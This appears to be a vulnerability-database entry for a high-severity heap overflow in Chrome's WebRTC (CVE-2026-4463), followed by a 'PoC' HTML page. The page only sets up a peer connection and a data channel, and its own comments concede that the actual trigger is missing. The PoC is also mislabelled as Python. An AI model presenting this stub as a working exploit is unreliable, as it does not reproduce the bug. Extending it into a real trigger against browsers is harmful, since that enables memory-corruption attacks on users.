Heap buffer overflow in WebRTC in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4463 -->
<!-- This HTML page attempts to trigger the WebRTC heap overflow -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-4463 PoC</title>
</head>
<body>
<script>
// Attempt to create a PeerConnection to trigger WebRTC handling
// Note: Actual exploit requires specific payload to trigger overflow
try {
const servers = { iceServers: [{ urls: 'stun:stun.l.google.com:19302' }] };
const pc = new RTCPeerConnection(servers);
// Create a data channel to potentially trigger vulnerable code path
const dc = pc.createDataChannel("exploit");
// In a real scenario, specific malformed SDP or media tracks would be added
// to hit the specific boundary check failure in build 146.0.7680.152
pc.createOffer().then(offer => {
pc.setLocalDescription(offer);
});
console.log("WebRTC initialized. If browser is vulnerable, it may crash.");
} catch (e) {
console.error("PoC failed:", e);
}
</script>
</body>
</html>